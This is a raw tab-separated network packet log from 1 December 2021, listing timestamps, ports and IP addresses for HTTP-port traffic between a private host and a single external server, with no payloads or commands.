Dec 1, 2021 09:14:10.729090929 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.729110003 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729146957 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729186058 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729221106 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.729224920 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729249954 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.729260921 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729299068 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729336023 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729350090 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.729372978 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.729377985 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.783157110 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787329912 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787380934 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787411928 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787441969 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787472010 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787482023 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787502050 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787506104 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787533045 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787555933 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787564993 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787609100 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787625074 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787647963 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787686110 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787722111 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787738085 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787760019 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787772894 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787797928 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787836075 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787875891 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787889004 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787914991 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787933111 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.787954092 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.787992001 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788007021 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788028955 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788068056 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788105965 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788115978 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788144112 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788149118 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788182974 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788225889 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788228035 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788269043 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788306952 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788316965 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788342953 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788381100 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788418055 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788424015 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788455009 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788465977 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788494110 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788531065 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788577080 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788583994 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788615942 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788621902 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788651943 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788690090 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788693905 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788727999 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788764000 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788801908 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788811922 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788840055 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788842916 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.788913012 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788954020 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.788992882 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.789007902 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.789028883 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.789067984 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.789069891 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.789123058 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.841295004 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.841324091 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.841542006 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847048044 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847069025 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847081900 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847094059 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847110987 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847126961 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847140074 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847152948 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847166061 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847172976 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847177982 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847210884 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847228050 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847239017 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847244024 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847259998 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847268105 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847275972 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847290993 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847352028 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847359896 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847377062 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847393036 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847408056 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847424030 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847440004 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847455025 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847456932 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847460032 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847470999 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847486019 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847486973 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847489119 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847502947 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847518921 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847521067 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847536087 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847553015 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847553015 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847568989 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847579002 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847585917 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847603083 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847618103 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847634077 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847640991 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847650051 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847665071 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847681046 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847681046 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847696066 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847712040 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847714901 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847728014 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847743988 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847745895 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847759962 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847771883 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847775936 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847791910 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847799063 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847807884 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847824097 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.847860098 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.847898006 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.899604082 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.899629116 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.899641991 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:10.899717093 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.899759054 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.899781942 CET	49783	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:10.957727909 CET	80	49783	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.559217930 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.616795063 CET	80	49784	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.616981030 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.617144108 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.617182970 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.674695969 CET	80	49784	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.674734116 CET	80	49784	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.721808910 CET	80	49784	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.722258091 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.722606897 CET	49784	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.752880096 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.780103922 CET	80	49784	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.810817003 CET	80	49785	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.810924053 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.811054945 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.811064005 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.868944883 CET	80	49785	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.912240982 CET	80	49785	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.912388086 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.912801981 CET	49785	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.941086054 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.970607042 CET	80	49785	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.998706102 CET	80	49786	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:12.998846054 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.998963118 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:12.999155998 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.056478977 CET	80	49786	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.056500912 CET	80	49786	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.097769976 CET	80	49786	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.097877026 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.097913027 CET	49786	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.155421972 CET	80	49786	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.212884903 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.271825075 CET	80	49787	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.271997929 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.272150040 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.272157907 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.329725027 CET	80	49787	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.370440006 CET	80	49787	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.370553017 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.371445894 CET	49787	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.428920031 CET	80	49787	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.746895075 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.804635048 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.804883957 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.805233955 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.887214899 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887269974 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887310028 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887346983 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887386084 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887384892 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.887425900 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887430906 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.887463093 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887478113 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.887502909 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887542009 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887557983 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.887581110 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.887809992 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945374012 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945436001 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945475101 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945513964 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945533991 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945554018 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945580959 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945591927 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945631981 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945671082 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945688963 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945710897 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945718050 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945751905 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945789099 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945805073 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945827961 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945866108 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945902109 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945914984 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945941925 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.945954084 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.945981979 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.946019888 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.946033001 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.946059942 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.946095943 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.946135044 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:13.946155071 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:13.947169065 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.003835917 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.003874063 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.003901005 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.003957033 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.003979921 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.003985882 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004013062 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004049063 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.004076958 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.004086971 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004115105 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004139900 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004170895 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.004192114 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004220009 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004245043 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.004273891 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.004298925 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.004311085 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005201101 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005275965 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005294085 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005323887 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005348921 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005374908 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005409956 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005434990 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005445957 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005461931 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005489111 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005510092 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005515099 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005542040 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005589008 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005703926 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005731106 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005757093 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005784988 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005786896 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005811930 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005815983 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005840063 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005867004 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005884886 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005892038 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005914927 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005918980 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005947113 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005973101 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.005990028 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.005999088 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006017923 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.006026030 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006053925 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006069899 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.006081104 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006107092 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006134987 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.006150961 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.006186008 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.061933041 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.061959982 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.061976910 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.061994076 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062009096 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062025070 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062041998 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062057972 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062057972 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062098980 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062100887 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062103987 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062118053 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062125921 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062135935 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062151909 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062161922 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062170982 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062186956 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062202930 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062206984 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062218904 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062230110 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062235117 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062252045 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062258005 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062271118 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062288046 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.062299967 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.062331915 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063044071 CET	80	49788	95.213.165.249	192.168.2.4
